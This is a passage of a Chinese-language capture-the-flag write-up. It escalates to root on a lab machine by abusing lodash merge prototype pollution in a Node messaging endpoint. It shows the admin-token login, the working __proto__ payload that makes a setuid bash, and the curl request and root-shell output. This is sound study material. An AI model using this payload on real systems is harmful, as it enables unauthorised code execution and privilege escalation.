| id | username | password | role  | createdAt           | updatedAt           |
+----+----------+----------+-------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | admin | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 |
+----+----------+----------+-------+---------------------+---------------------+
1 row in set (0.001 sec)

登入後成功拿到 x-access-token

victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/login' -X POST -d '{"username": "aoeu", "password": "aoeu"}' -H 'Content-Type: application/json'
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODgzNjQzOCwiZXhwIjoxNzg4ODQwMDM4fQ._8SC7GiRt14YXNLaPD4fcR7pVTVNTOVbQJQ6ptMzcEM"}}victor@pollution:~$

雖然目前不知道管理員能幹嘛,但總之透過 jwt.io 解碼可以看到我們確實是管理員了:

{
  "user": "aoeu",
  "is_auth": true,
  "role": "admin",
  "iat": 1788836438,
  "exp": 1788840038
}

JavaScript Prototype Pollution

接著我看了很久,實在沒看出什麼東西,就去看 0xdf 的 writeup 了。他首先用 Snyk 掃出了 lodash 這個套件存在多個 Prototype Pollution 漏洞,其中一個 CVE 說明了 merge 函式存在的問題:

merge (target, source)
  foreach property of source
    if property exists and is an object on both the target and the source
      merge(target[property], source[property])
    else
      target[property] = source[property]

剛好我們的 Messages_send.js 就有用到 merge

const messages_send = async (req, res) => {
    const token = decodejwt(req.headers['x-access-token'])
    if (req.body.text) {
        const message = {
            user_sent: token.user,
            title: "Message for admins",
        };
 
        _.merge(message, req.body);
// ...<SNIP>...
}

HackTricks 可以找到許多 Prototype Pollution to RCE 相關的範例,最後 0xdf 透過修改 exec exploitation 的範例來拿到 root shell:

const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

依照 messages_send 的要求修改執行:

{
  "text": "Hi!",
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//",
    "NODE_OPTIONS": "--require /proc/self/cmdline"
  }
}

透過 curl 送出:

victor@pollution:~$ curl 'http://127.0.0.1:3000/admin/messages/send' \
  -H 'Content-Type: application/json' \
  -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODg0MDA2NywiZXhwIjoxNzg4ODQzNjY3fQ.2-84oAVkzH5ZdZ0LLEjnDCdgBMKzvw8pQzeLjqCUGwA' \
  --data-binary @- <<'EOF'
{
  "text": "Hi!",
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//",
    "NODE_OPTIONS": "--require /proc/self/cmdline"
  }
}
EOF
{"Status":"Ok"}

victor@pollution:~$ ls -al /tmp/abb
-rwsrwxrwx 1 root root 1234376 Sep  8 00:03 /tmp/abb

接著就拿 root.txt 啦:

victor@pollution:~$ /tmp/abb -p

abb-5.1# id
uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)

abb-5.1# cat /root/root.txt
77e2************************5210